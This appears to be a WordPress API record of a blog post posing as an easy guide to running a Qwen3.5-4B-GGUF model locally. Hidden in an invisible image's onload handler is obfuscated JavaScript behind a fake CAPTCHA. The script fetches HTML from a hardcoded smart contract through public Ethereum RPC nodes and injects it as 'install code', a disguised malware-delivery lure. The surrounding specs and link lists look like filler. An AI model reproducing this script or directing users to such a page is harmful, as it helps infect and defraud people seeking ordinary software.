6LRn3E6HBvQGk3lhJ0FJyusvir19qKBzT3go\/Kf5DCZDTXIM5a2N06zSv+h\/0waxG4IXGKImKWJ8hs0bhn+ZTXV+hW7E1pJffzXt+rYOiU3y45eElK2D90+\/FpbcGPZ5vL2QK5pNsmumm97Dqysl+dX5PDYW3HrvWdfEmpu\/zgzqBm7mco5sOU7cnvS6BN2QFzLdxfb8p5iq1qAvcd+YSIJfp9AUykyItDXLa4crw89vX306zqF5wHFdaoEut7EcsOrTUBF6mn9CYTYh5ZMh6\/gL4Km8dZUQgX68jAuCxe0ZvfxbMdVifZksF2godx\/fq8\/SL1YIzuj5lDrr3vGvYYztjeUDsoaTuDvjZg7Xr+Sq777WyGFJ6TEf4hIztKItT\/\/38VorpCmXywRUWFnFsOfxE6YKoj6Yg8G5pADqCt4IMetACtqZL3Liexnmhd9OIQTeCznMs+2pPda7jOplzQHNQSVHlpMxhbuLL\/oRbvVVMXBP9iQsAYD18z234I+RZAo8FNLe\/Z8wjIWii2XtdL+ZSfoMcd2zPNDFfHthZVdkOf8aPnIlKp1RP5Zm7fUxE6X8cE+SSNL66+SasYYzZAsPq4J2Vozj\/arb5lEoc0BLLd6uZ8YG4JOECT4UN577sIcoHLKOXdPcfXFJIJt1ifpUNZUmTnt1hplSpExqHzRXHUyeKqQJrtHTUMKx1H06B\/9jRiaQKRBxMe5aA12hFLvP9hY\/BfLU8uGu285QcE6jDutARXERegI76gt92x5keLhr74F2l74Z42mSezrHoFeBFIGB62JFkedrHhz8qTnjFGIHvU8RYOPgeAweQk\/\/hGAdjwclxWx\/c674iviNrfw1xw2HWQpbpJ+4TeDThZ3GHC8XFx2kZndQhV7esgNnAJ1TPDsoB7\/XnTIZXVWycTePKCkl\/1nQp\/EgtgGW\/s8auzxUQoHgaBT4gAl0DuXK\/fI\/7zbhCjWu\/\/DL\/qn607koGWnbgsjsS78IH\/Q8feoYjnaQ5qZMfPwAiciKKuaYtUS+fT2RJ\/CaeD8dVEU\/bVR\/DBaaxZ8ZKCh0HZofJ1+T\/baOvw1qJkLTpUevdtqCyBkFjjvGBCl4gEUHftPfXksCyaQvLJqSXxSjO7i\/PpKr3nV25aEjDy8PnhBlsLaVuTk1gV7\/gpqnBNNHzv5euDFybu1SZdnNQSg5+e9J+LgKKHulkaKgehP6b1pCZ9vBt8wEP1fjQisf0ePLsE3Lwp+6fFdl8j3\/ugNWITdfb2awFFrdWMm+efja+Pk2Ppxh6EmyBgc7\/ygYnb7dsA3oynx5wLbif\/ku0mGno3Hwd01SssTI0huAmimzBk0sRjGGBmDJW3xtxCGZOYHJzW7Is0buk689UWaJWBFqupZOWQotjDCIUjj55U8XCacG3ML626W9dnxo1+sQ0tr994W\/P1BvDWG7s2PySIHHBS15KqTpeRQniQQWgnhVX+OANpFUxhl1\/sGslnYA8l0Mc+d7IqG+UFOWsgdlsdAdsWCZk\/p0AALZFBosSfC4YJQzVOzpeA4dWpzXybl70Jh723lC26y+MTijxOzGlxYbFR3LYQZBzZDNSfEFZ+Wnn9Fo\/9Gf3Wt5ZmfRLvt9zTbYZXC0Iu3qhRZh4Mzzc8cIKDiNx44y7WMkw7Bd015Gyajek3t0+u2fHypKXlkhwn02\/6gDB5ICGK3phh5r4vHR963pdrx3CGtrsg5cG3T7SJ\/dBv4yuDJIFTbPfwmCy6u+dg6bGT9v7qF4vPX876o00oCF+3ZE9kFjmKkoIcb33ySxULcPsGL3ccfHfC4ohS6izhr1GBfsT1POzqyx4x3yA625VAfsovyFmLkWVyRrFoQRtDPn5RXoa2YyRd+nKglYIYYg4OOi75O8CDlb2BttIt33oy4AcrjU23ZuirEIMrWWDR8Un0ixa8N++DdA\/SC9cz2bIlRVuDJLhGe8+uktIHBEBmMpj3i1f8+CnEkPQZU1Igk7OZo8JmBQv6VurBffoIrvCGyol8ysvRJVppCoMwbK22yGtV5DNEjaMqwDMCC6DAu\/6LvW5\/92PfAMB8koL3C5VT9heK8qA33vdPCl5QICQ3i1RgsxSfjMNdSXyHjxD2D816yRO1G\/V4uQNAZrszaLg4tCr9Q4\/UiYHLxvMD9OzUFKbyqZ\/t\/uGKSk4WqqhnHAnayhis3jAvulq5BnyNY8w6NZz1+XIQb+EdHNp0kC+smxTdrmledoWSzFtRz\/ulHrMoaXblF+TSyu8KmBy8K4LlhllvZClJxkbTvwIzZRLfSUjssF4EX8vHqM8YcNKOYl7z0sX3lX5tk3cMBW5qvbMlyxlc5pTq6Oj+OL8OA9zEDTIREpr8MDxbKWG8Fdsqd3KnMFoXGHLxsLkyijRgJC\/j8R0JaFA9BhdDlEkNrzKLwsV5C+FMA2VGJq0QncZeOCUQmIYu3HbPCgw+wi0AKtR+2\/ifQ1NWhQbPI8czc\/ygL10NqR23MJuexVD3sXGbJSX++B7kn3yyyK41X3BiGVq7i7Vc\/z7uXNbEOCK5MdDIo2Te9yW7LZJi1TBBlQlAbswAAmaD1HsJo9brlIY3utEbgyztaJ+7j+9au3QMtGWmAi7XbtKu4QGXnjxLtQ0fR16\/KF3c+5D1m87tD6JWconusjzGtRL1PQb6koDwu9IyvPVzGctIEyHZHTuj6JP9CMHBXsnjdX\/c0EsWtYzJOyf6pSdKrUPdGt2VcOfKaidFQnFc1sfnQEivy2AydiD8ZzEy2+v0+0ow\/MRO1gFzpCG+bSEZvkTCLG+gmOYRS1nMwYpdFV4cknJcMxWV56Bbbiqm\/S2XxFfGHHJGIZ\/n+HY7fX3txJ9NzXjhRZNVXv\/HXZFmx57KoEw6zE+u2xpMgMX8MLTf\/y7rgWRqaUkDo6wHwhya4r8+xSnwNTaobnm6fC8huxNAgYpNPMrvxXkDI+6g6d7eu5OqQvzFbBVZTxM4o2ij1a9YCc2pjOWo9xhzn+AQiUBT3wcXVF4+l9gXKSP7Pff43nq0auYkqqc1I8bB6Hw65eYpsTzI\/MbaHR1okho6yW6mmXREWl6jOMA804QJllcdIHovRlPkiD8kcWCF93yXWHsDNvGfD7yAup8232zSMByh\/9B1GROjXnrwVZD7XHEJHUButSURbkikbMXklCs6XKX1lKiBF0I6A83Vgpwhmp4CbpBBdwuFsmxyg3ZmLy7NFwWot9TWJaAIjqsftHP0MKqhcGbtFXvXZY0d+I1tBkrB2wyjlYcPRGa6k2RMgi4VTuyWj2A\/MFKoVOG4aQqpkKQoZ\/Q6SFhADyJRDoWg2TZQHMfxXOOabABANHc1vgmozeIpQbl4sBhMai0meObX+LO+05lTzFy5GcmOWLdeTDibdWwHyRC7oXb8smQZvkKrBHMZmToFAbANke7CKQEaNuDWj6pDIOSqV8WtroOcsFfnIy4bAql6vjaI489bNgSpf8KC4hhsGGaiCMBYdNivBn2x2ZmhDZudHHttizC+reFB8Z22HJ6bZIusYLQ4Qfqrf00rWFKn5Vd93lY5yeA63TFQiLTyRw5bFeoRQNhN54+kbpbH6Zz28QDgYoCzpMCc7+cTjwAocAAAGxmSqnEdQa5GlWrYnZaUnF+s11V8lkJrN1etdSnOTdSmjlKLA0qB9Q42UvkkxXaTD4pSwAEgeejOks5MIMjM1W30x\/YbqGqV+vhWUhRqsJhoZeeaWAp5kvQxq+OhjmX185C6lhohpUxZVAGKEXJN5leeqChHo0ROlFfiDnXWrUWFNxjxJxSmXEhcKH019saQPGIciPMqbTkh35wNoW8oHaYGz\/N6PWMWlJGLC9GmM6cSACdvhag4l5se4K8PBdfjo425HstIn\/srjsXOuWbCizqLuLXUijY5eXchCxLFE0T1O\/DMnp6Ax\/f8CZaiuJ9SgRwT143lmdtWPLFSkjfuD5TTrr6t257KQokgc+1Y1vYKLsGnX1ILqO5wbJr\/7zN0p0dWQ39PAYoTmIijaDIOlPKmyzZrwz5O7YpWmsI4gatqObAIA+KbWEZJXavVeU\/UwSA\/iAbTKr97xkP8gDgDa8oItGBByQV41dhKd+3rmAYuflQEtZDcJkdnPGCZb32uxwXUbsb0WEYubAL2EbnwHCv62fIqCQ\/7OjLXE1LEL6yCJ\/DIC7AzFGPqKfJ0fC6WOM6C3goy2jd97ygMS\/EOvEApJ7TTy9bFI9hpxaQU38ocFSrU9Z3PguS9ZYPblYnD6nXwXfXgRDAwywRZ6xkNT5qc9rzXAikhmMhFcrfaxIH7x9k\/udBbBbDn4K3XnMyC3Ys1B9z3aJvhTbovOxhQCCeBv1B7mszz1tu\/HTzuGHHv0sXTEbeU+31q2IBozaTMersr2CLv2Kg+cL2Vi9JKdlX+fWiiENL3t3YAAAAI7AtC3DEJI4F1IfDBUYG0CwpKKtbeCc+HmISnKhH398k8aJpafg3Gx+kZRy6Q94bXQU7GTU4+g1LC7Ttav8t2dlSP5Qbdy98slw5p6Wb7DXmZ9ks4aWC76G3ZmQBnU2\/s6As2FX\/kmXbjvNDX9xvKg5XS27c6djcWgJeFq7TrmRmLSUZcDIh\/3S2kfJDI99tk3uC1ZPX0qab140eO21CYzWV66ctcrDsjrkB0SeX5bsp1\/npsm8gQvpzU4N2UFxWeixWD68bHGse2sUG7sA8YNSUWE8AdLOdJ5MuGjYQck6swmge\/t7NHe8eqqZu\/qvw0DREIkYgCqQJUcEGgo4iyuecrO3FMltvn14BCGmv5FmY6qEwt0wg6uTSqdWBrMnQAwy1y3Xq9Dy02FlbRxiuc29xPzkMGxspiKyZD88RbWOIzUxhVrO3ZVlz1rTCoI3vKPqKKFKgcpgNrJM+iDDNRmVrsC\/xZuhARz8bB3e2KH9EMBG8LWxXOwpeP\/xE5HQbm7YPF3JPNcjxhmFwnSRncUqkscSmPTxGIT0M\/EAc6r5bPSv7Stg8K9SBn5Rb4R8+2osEmqBLChVhX57elCSimqfSxeNQRnRbiR4fqWKq0YDkl4S3q5ooyWEIFPDFxaDlfJW4Fvix5yZqcNjaBSkOxcdmby7MnwKHiWX1CjHDu1JwQPEt1kwjJE1l3QDCwF4Py0f35CpmuQm76\/g1UvK+Et2t7JIJ+YCD+\/5Ka26kfpOTJyBBQZ6b2W7b5VOLRGwdkNKqLhZmUGUf4vc77D4n7kld4pkOs4vAu6f\/5++7a3nY8WtJQmlntSggV2e+lkhXlhzqaoD1BEcxHd2FigSKQ1hS+GPFJ4wFMczktRtSGHtAkJ2c591GTa1bHbUCOsyqIXcilTILOivxtjvvbSW2xYGMHROt86\/Hcd3mTy2o7XfCAtom6XxpbtySYPzNKe\/+uyukP40ar7TTq0uPl7NpMKZV+J2o6pTD0eEOt1tktYm+59jFSXFtpBRUkRGeCi5loBac266eJEXvIQAAAAAAyi5RW38dnI+NUcfOWvDLsEoXCMjOCO5ijo8Wnz+VCCfmOWoAveSg4FFybQbxG3AqfAWIq9OPFbIiyQpkmkB2zJiLKo7xXkrOnrxeiq5kJ2blYVhd6eabboDYxnCNSB\/gqjyDY+eY1CZ10zBj9RgooEJ3Voy3zDbGG36l8wzowdWG3TUKER8rjRzBgzV7S\/1FInuI2uu22yMhkJMrmC\/JdPURxKdpWQm13qcNsWHdrAR5+ScLb7jxryK1g5TT5e1bDiQsyGbWXqSEgJ0BOZpWRPxjhGxyuvhE25ZtEdrDSiWi\/AjbBO\/M3N2Nk\/g1Ii8BX2RdhQ\/INYKtJIF9LP0+jmmArrqsupNehFi4xaZO6qijCq1EohLn8WtpEfI9n6raC7qDiSTZEhyv2jA21AUyY7YoyX5jBPeiwkif85CXgmwP9ZWt1kyL8JiRCwOlyEmpC4p0zNw734dUiWEHMci1\/g64Z40ne\/AOzd3GD\/fm1PzDYNOhEi+4NuKeAFv7O\/BLpfbOCg0GuZ+1dA\/quhf1ejhvrQYDzQ\/bxHPHgCOm4x1gzjN3rcCdH7yg1GCnC6ms6C8v92ei\/vPKSY9IMYXDaaIuyntfN\/gNqRtp\/HcFOp8tpLf+WG0\/zxz8xETz+U3cnlLTGsfV4REFleYO\/hzVFUTy+tKd\/CppvKH41mUBb6JCMLoS0sGKK4lAAABcewZU5MdY0SKv5gvm6kkZnIQugLlKhDOUOmUwoN\/yjzLHOzhfGdNWOIle9y4olwCFL2qhZCTdrUfvcBmitoFs56mMkpGJTVIxqKEJlRC1bWquppYQlr2\/fAYySj9MABObxSiSk\/OzwEIpQhIw2syBbw7mWul+zaSRi3Y5f7Rk3\/mC1lcHeTO+F90aAiRzXLQA0333bUSrBIVgDY\/pK6pVAmrV1Xn3MjkoeUwIGGD5WVEhrZoym0oYoq7aBH1oxuuM6+WevYrnpMR1jRKEoM0RoCAfnXukzcmgEMJg1VTYUG\/7ePCRloHxcbqF5u5LFQCuAIVFXGt2FkfkeHMLQk5X+sNnYXnfVHuEF5Nw+FqtY0EqQvyqu70HBNU08DkLZ3Ozg63kEZLnOemPJ7PfpD3vL+bXZvdyNmIPO9zVfGtNojNmaQdJgnPO30D8GxO6kH1E1gRrqrJqk59obZRfNFsPwCMwEfz1Qq6UnXQ3PjjeVH75NT7DbGmSR57ortbl3005z23ZuXGJ5ax8uR0M02iTTfLUonBNwCGDtzw0OpEZXdyII5rPfBO7FtfS3JZJ+\/BN3JwSbisD\/bqOUhK6G1LvrUbgU7lw\/GiRafhkax0lJj8A06Yrk3WogwpvNIgtw9hA\/VPsTQU1U3nlrxM+OlvpaIEdBOz5L9op9CKKP1ItAUZzrtGGjvPrisNZKdAIodD347kAgpaxCKXkvcEdDAaMfuxhAYueQcol\/nNc6n7xdeVYFsLnJODk0W2kOSaOgvUaXC4OF8S3+uSahwFAt0\/Rfa7uuxF\/7SZuT54EZSO1oAcovIPpUL1GnA8+K+R7WLU9os1T\/iYXH6G4IKEt651W30nZ\/HWF8UCsOfMJmrbV8x2++OmsV\/nX9PND2G+rYRWWM7ryQTazwNIVLMf\/P\/JUjUAD+QAAflQ3wBVDoKZrIKuJrwQTlYG+pcCd4CC3wLncw9Qmccy1GoptXxXju8OUppR9Hot4GfuIbgOkDj4shQfT7yWnVajOQ6rNPBDqHmQE9uB0+CvoJ6mhyNdh\/NbD8qHBlVIimq7FLqfIzzbGjrfKf2GvX5hsRFbBwhTVHp4B1oyv57THbWeTf9\/vMbm+5rMxpnpZYFUy70VPglHzOJZNRhMO9PowbrOJ1hbkNg\/a25GBexuo2SytaQTbhb0fZS5WL6x+oX\/NEbDhfItdlRmZbMDc91\/cY2EyDsAdFTuoRO8orfTA2yueuW9pk\/+DSqKx9YEBwxpfjBFHAZl8ujInulB\/2txt73frVEEFd7OHL8Lue3Gk9IyXCBj4xJANdfJpf2cwP6qjfyJogWZFHfm2R7\/lAIGKK1FFzVoFZqeb+JTnFra7M+sZ3ALMMwkZsSBtJoYPGrKItYfbdfBtnmg4kqVndot\/QMnCN8tHPiEXfBnKJxoQHQngvWjr5g5TD3d6CDUp54xV3Gcctes\/pCndmEf8RtnRkN7KOFTeaVvK9pHX04pTmI3FmYjwDl0ZGWla\/Ae3n6B3lqtMSj1VCFV+ptwUHvOxVNcGNB4UZ1jxEhcHnwyLt+Cj6OXsSd9RQC9eZTmpjAIDYLARyDZlwjzdNw2wDugPh4orEopMItoFiEW03yDqNEJm678JJy9gdomUHjPnS9h4QJubzp1WfVDtEP\/LUl7U6m7ejRT6HbhX9yjG3CdNhIWAzNR87riTf9+pgCqHQYNWp2bbTGm87p4fqfXFwVxKj2d4z5QZfPrbc41StddqZfUb6qFinB2+qSeFjnLHFBKFIAPzEcGKjnuRzcFv9B2ePeDq\/CaZKRNkSdnCB7G9fU\/JDYaiWofuH\/A3jsX27ddojKXpy+ZoDhwQMkpQbB+7BcwZQ7GszDhlHazeWJjQmxpS6aIKKqHpZK\/LhCqx50V\/\/yZb8fMlaR\/rP4HOlflM6JggAoad66uQ\/Mf0NeiFEcryNZOb+5tjb9nMQ3OTC1naN7sHQ+vpnSOU7ERtgidQwjM\/CbAFZmrQZmoigPVZ0xdUK4i4Rn6uenOY1yimbtwiP43A8vcoboGbcMmBCfCWAC02fD2XBRPrL2XicD7FEJt+hk2iXe84+NdWV+4ovqptCxJuupxPpPaRC9tomRu2WW8LoojDKfwQuyrxAiWaT4Tmr\/SnSXYAt4p1S5RTOf41tC8+sqxQSxu8w\/5aPQfMLfTyePUPQL5n7mrW6BReh4NCllcDRoVt3L8iwWqKPsmvIEMxEaBYo3gTbC3gtzviow2Osmo3lHCUsrHw4nfVQ0qTx8Me0ZbNAw+NtvNfmk7A7rqeK0Sq9o4dCKmbz9n20FdIH2oAzwsIKt8debDBV4+G3NXBfK6oUpZza2XrdomAPxE5BaTBPKAGreA8R0Vyor3ntiQeCS2r9JXZub\/uFMtUftLQ7rWMy9H5k7xnKAEw0NrMncS+fsrecOA9FUy0sc7MEZd\/AajzAXvRDgo0D7khLH+phLnOAecBsFCUffbs7P7ReTrFfyiz+yvZnEt6WtP125LbhKtw8v27XFjt4JwHlqcOEVxR7vaAYKZkW5IEBLWuzNELjKegy0dpJdgaF4mdW5OGW7z5SLlxB8dhJykkPsiJ+MRCnDXu2KAxE8ml0WIAYGj+LjbWpqS3y9tORGisx9YnP3XHty6rc3wIbeKqgAEFkvcd7TdDeyJw+OIe8B2BRZQMp1pTRcfy\/bqoHkmjJ\/B\/FyRUYNccFtyGEzW7GK8dBvLEOFEhFeasQ8yrRRcS3bARp6K8BL0MROr+J\/LwxB+kwqNVayAFL2hHMv02qK1Ra8nukZLnunpSstU2bIYzT9AeHkO1xJxTrLKeyebbBX\/9My+I7VyQsCqvfA+7VKUw78pWJwyBkXwXnzFTCwOXuwpiEnzl6xKqPsB6iHF2KOs7vCoab6BqxjUS6z\/2NLxSrBXr0AJERXsBGwJ7q6r82nPV7R7\/XTMNhIYFxsGZF1HVCLRcRXDbU3eYMyiC5Q4S6rT5QvUHQ7q30P5XVhtckoSY82EKlXwyAegtDTFkSvYR1EYFuIYLdIym4jvme69re+qnMq+kF9t\/7N1Ijv8eW6JL7PeZUSES+UuaMSslExMq6bUu0e9R7QTkmtcS0o0ATm6cjYFcqL9uTNLGOKVDdUGSKKBxclaDED7n3d0JOFYiOojn8R93UVPq3p53U9aiYTd1Rxy9ClYr+u88oEdH4la61jwfK8HyNOj2C6YIkbv3LL4HZc4QmSkBYyG5diOH4q9FoORpWaOFGZPefLBGAgHV+u9KiJfqT5Zybt7Ezck9HuP\/binQCu6SNc5H5WkfbX5oGieZiyVUcmsGGkfEC4XTo6rKdBIVrEsmcvaVvZcWr5KsM2ZvWlInIJSyp4EtFqNw7wIt0e7CCTU21ivDxnShQnlr9\/RjAAAAA\" alt=\"How to Run Qwen3.5-4B-GGUF Locally (No Cloud) Dummy Proof Guide\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>To get this model running locally in <i>no time<\/i>, utilize the built-in <b>WSL tools<\/b>.<\/p>\n<p>Refer to the <b>instructions below<\/b> to proceed.<\/p>\n<p> <\/p>\n<p><i>The installer automatically pulls the model (could be multiple GBs).<\/i><\/p>\n<p> <\/p>\n<p>An automated hardware sweep ensures the system will <b>select the best tuning parameters<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:15px auto 65px;border-collapse:collapse;border-radius:24px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f1f5f9;box-shadow:0 16px 36px rgba(0,0,0,0.07);\">\n<tr>\n<td style=\"padding:48px 60px;text-align:center;font-size:24px;color:#334155;line-height:2.5;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#2F4F4F;font-family:'Courier New';\">\ud83d\udd10 Hash sum: c8dbc6551328992b9191c55dc8a18d84 | \ud83d\udcc5 Last update: 2026-07-03<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'bb6c17c0_locally_cloud');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:21px;padding-left:16px;margin-left:0;\">\n<li><b>CPU:<\/b> modern architecture (<b>Zen 3 \/ Alder Lake<\/b> minimum)<\/li>\n<li><b>RAM:<\/b> 64 GB to <b>avoid OOM crashes<\/b> on large contexts<\/li>\n<li><b>Disk:<\/b> high-speed SSD 120 GB to cache model layers<\/li>\n<li><b>Graphics:<\/b> stable <b>30+ tk\/s<\/b> at 4-bit quantization on medium setup<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The **Qwen3.5-4B-GGUF** model delivers strong performance for a range of natural language tasks while maintaining a compact footprint. Built with <b>4B parameters<\/b> and optimized for the GGUF quantization format, it balances speed and accuracy for both research and production environments. It supports a <i>context window<\/i> of up to 8192 tokens, enabling detailed reasoning and multi\u2011step problem solving without sacrificing latency. Benchmarks show the model achieves competitive perplexity scores on standard benchmarks while consuming less than 5\u202fGB of GPU memory during inference. The integrated <\/p>\n<table> below provides a quick comparison with similar open\u2011source models, highlighting its efficiency and ease of deployment.    <\/p>\n<table>\n<tr>\n<td><b>Parameters<\/b><\/td>\n<td>4\u202fB<\/td>\n<\/tr>\n<tr>\n<td><b>Context Length<\/b><\/td>\n<td>8192 tokens<\/td>\n<\/tr>\n<tr>\n<td><b>Quantization<\/b><\/td>\n<td>GGUF<\/td>\n<\/tr>\n<tr>\n<td><b>Memory Usage (inference)<\/b><\/td>\n<td><5\u202fGB<\/td>\n<\/tr>\n<\/table>\n<ul>\n<li>Installer deploying local semantic search pipelines with zero web reliance<\/li>\n<li>How to Run Qwen3.5-4B-GGUF on AMD\/Nvidia GPU No-Internet Version Direct EXE Setup<\/li>\n<li>Installer deploying local communication interfaces loaded with multi-role behavioral settings<\/li>\n<li>Zero-Click Run Qwen3.5-4B-GGUF Using Pinokio FREE<\/li>\n<li>Downloader for real-time local object detection model weights<\/li>\n<li>How to Autostart Qwen3.5-4B-GGUF Using Pinokio No Admin Rights<\/li>\n<li>Script downloading custom LoRA weights for high-fidelity SDXL cinematic production pipelines<\/li>\n<li>How to Install Qwen3.5-4B-GGUF Locally via LM Studio<\/li>\n<li>Script automating background downloads of sharded Hugging Face repositories<\/li>\n<li>Zero-Click Run Qwen3.5-4B-GGUF FREE<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>To get this model running locally in no time, utilize t [&hellip;]<\/p>\n","protected":false},"author":5,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[103],"tags":[],"_links":{"self":[{"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/posts\/8331"}],"collection":[{"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/comments?post=8331"}],"version-history":[{"count":1,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/posts\/8331\/revisions"}],"predecessor-version":[{"id":8332,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/posts\/8331\/revisions\/8332"}],"wp:attachment":[{"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/media?parent=8331"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/categories?post=8331"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/tags?post=8331"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}